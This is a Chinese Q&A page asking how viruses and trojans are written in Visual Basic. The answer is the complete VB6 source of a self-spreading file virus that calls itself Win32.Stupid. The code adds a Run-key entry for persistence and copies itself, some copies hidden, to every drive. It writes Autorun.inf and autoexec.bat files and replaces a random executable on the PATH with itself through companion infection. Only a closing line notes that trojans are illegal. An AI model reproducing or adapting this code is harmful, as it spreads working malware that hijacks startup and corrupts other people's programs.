VB是怎么编出病毒、木马的

答案：Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long 
Private Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long 
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long 
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long 
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long 
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long 
Private FD(1 To 10) As String 
Private xc, x As Integer 
Private Smilecopy, Dat0copy, smile, dat0, weare, wearecom, supspn, sup As String 
Private companion, nodat0 As Boolean 
Private s As Long 
Private Sub Form_Load() 
On Error Resume Next 
Const REG_DWORD As Long = 4 
Const REG_SZ As Long = 1 
Const HKEY_CURRENT_USER As Long = &H80000001 
Const HKEY_LOCAL_MACHINE As Long = &H80000002 
Call PassCheck 
Dim s As Long 
s = 256 
v$ = String$(s, 0) 
weare = App.EXEName 
wearecom = weare & ".com" 
smile = weare & ".exe" 
dat0 = "dat0.exe" 
dat0home = "c:\" & dat0 
HoldMeDear = Dir(wearecom) 
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", 0, KEY_ALL_ACCESS, k) 
u = RegQueryValueExA(k, "Startup", 0, REG_SZ, ByVal v$, s) 
u = RegCloseKey(k) 
For e = 1 To Len(v$) 
If Mid$(v$, e, 1) = Chr$(0) Then GoTo done 
sup = sup + Mid$(v$, e, 1) 
Next e 
done: 
supspn = spn(sup) 
If (UCase(HoldMeDear)) = (UCase(wearecom)) Then companion = True 
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS, k) 
u = RegQueryValueExA(k, "Vic", 0, REG_SZ, ByVal v$, s) 
u = RegCloseKey(k) 
If Mid$(v$, 5, 1) <> "d" Then 
Call makereg 
Else 
wein = True 
End If 
SetAttr dat0home, vbArchive 
If Dir(dat0home) <> dat0 Then nodat0 = True 
SetAttr dat0home, vbHidden + vbReadOnly + vbSystem 
If (nodat0 = False) And UCase(weare) = "DAT0" Then Call WeVirus 
If nodat0 = False And companion = True Then Call ExecuteFile 
Call Find_Drives 
For x = 1 To xc 
Smilecopy = FD(x) & "Smile.exe" 
Dat0copy = FD(x) & dat0 
typeofdrive = GetDriveType(CStr(FD(x))) 
If typeofdrive = 4 Or typeofdrive = 3 Or typeofdrive = 2 Or typeofdrive = 1 Then 
If typeofdrive = 2 And UCase(FD(x)) <> "A:\" Then Call ARD 
If UCase(FD(x)) = "A:\" Then 
Call ADrive 
GoTo adone: 
End If 
If Dir(Smilecopy) <> "Smile.exe" Or nodat0 = True Then 
If (UCase(FD(x)) = "C:\") And (wein = False Or nodat0 = True) Then 
FileCopy smile, Dat0copy 
nodat0 = False 
FileCopy smile, Smilecopy 
SetAttr Dat0copy, vbHidden + vbReadOnly + vbSystem 
Else 
FileCopy smile, Smilecopy 
End If 
End If 
adone: 
End If 
Next x 
End 
End Sub 
Function Find_Drives() 
Dim strBuffer As String 
Dim lngBytes As Long 
Dim intPos As Integer 
Dim intPos2 As Integer 
Dim strDrive As String 
strBuffer = Space(255) 
lngBytes = GetLogicalDriveStrings(Len(strBuffer), strBuffer) 
intPos2 = 1 
intPos = InStr(intPos2, strBuffer, vbNullChar) 
Do Until intPos = 0 Or intPos > lngBytes 
xc = xc + 1 
strDrive = Mid(strBuffer, intPos2, intPos - intPos2) 
FD(xc) = strDrive 
intPos2 = intPos + 1 
intPos = InStr(intPos2, strBuffer, Chr(0)) 
Loop 
End Function 
Function makereg() 
On Error Resume Next 
Open "c:\v.reg" For Output As 1 
Print #1, "REGEDIT4" 
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]" 
Print #1, """Vic""=""\""c:\\dat0.exe\""""" 
Close 1 
Shell "regedit /s c:\v.reg" 
Kill "c:\v.reg" 
End Function 
Function ADrive() 
On Error GoTo out 
If Dir(Smilecopy) <> "Smile.exe" Then 
FileCopy smile, Smilecopy 
Open "a:\autoexec.bat" For Output As 1 
Print #1, "@echo off" 
Print #1, "copy smile.exe " & supspn & "\smile.exe" 
Print #1, "cls" 
Print #1, "del autoexec.bat" 
Close 1 
Open "c:\s.bat" For Output As 1 
Print #1, "path=c:\windows\command" 
Print #1, "c:" 
Print #1, "sys a:" 
Close 1 
Shell "c:\s.bat", vbHide 
End If 
out: 
End Function 
Function ExecuteFile() 
On Error Resume Next 
Shell (wearecom), vbNormalNoFocus 
End 
End Function 
Function WeVirus() 
On Error Resume Next 
Dim pathz(1 To 20), infect(1 To 100) As String 
Dim dispick As String 
Dim EXEFile As Integer 
If Dir("c:\p.d") <> "p.d" Then 
Open "pth.bat" For Output As 1 
Print #1, "path > c:\p.d" 
Close 1 
Shell "pth.bat", vbHide 
For x = 1 To 1000000 
Next x 
End If 
ctr = 1 
Open "c:\p.d" For Input Access Read Shared As 1 
Do Until EOF(1) 
snap = Input(1, 1) 
If UCase(snapit) = "PATH=" Then snapit = "" 
If snap <> ";" Then snapit = snapit + snap 
If snap = ";" Then 
pathz(ctr) = snapit 
snapit = "" 
ctr = ctr + 1 
End If 
Loop 
Close 1 
Randomize 
dispick = pathz(Int(Rnd * (ctr - 1)) + 1) 
pathtoinfect = spn(dispick) 
InfectEXEName = Dir(pathtoinfect & "\*.exe", vbDirectory) 
Do While InfectEXEName <> "" 
EXEFile = EXEFile + 1 
infect(EXEFile) = InfectEXEName 
InfectEXEName = Dir 
Loop 
pickedexe = infect((Int(Rnd * (EXEFile - 1))) + 1) 
rawEXEName = Mid(pickedexe, 1, Len(pickedexe) - 4) 
If Dir(dispick & "\" & rawEXEName & ".com") <> rawEXEName & ".com" Then 
FileCopy pathtoinfect & "\" & pickedexe, pathtoinfect & "\" & rawEXEName & ".com" 
FileCopy smile, pathtoinfect & "\" & pickedexe 
Else 
End If 
End Function 
Function spn(sp As String) As String 
Dim sb As String 
Dim lb As Long 
sb = Space(200) 
lb = GetShortPathName(sp, sb, Len(sb)) 
If lb > 0 Then spn = Left(sb, lb) 
End Function 
Function PassCheck() 
If Minute(Now) = 30 And Second(Now) >= 16 Then 
If Day(Now) > 15 Then 
MsgBox "DAMN!!" + vbCr + "This is..." + vbCr + "*S T U P I D*", vbExclamation, "Win32.Stupid" 
Else 
well = MsgBox("Cameron Diaz is a goddess!", vbExclamation + vbYesNo, "Vic says...") 
If well = vbYes Then 
End 
Else 
MsgBox "JERK!", vbApplicationModal + vbCritical, "Win32.Stupid" 
End If 
End If 
End If 
End Function 
Function ARD() 
If Dir("Autorun.inf") <> "Autorun.inf" Then 
Open FD(x) & "Autorun.inf" For Output As 1 
Print #1, "[autorun]" 
Print #1, "OPEN=SMILE.EXE" 
Close 1 
End If 
End Function木马是不能做的额
是违法的
上一个：为啥我调试vb时不显示即时窗口，
下一个：怎么用VB提取下面网页里的文本
更多图片编程知识: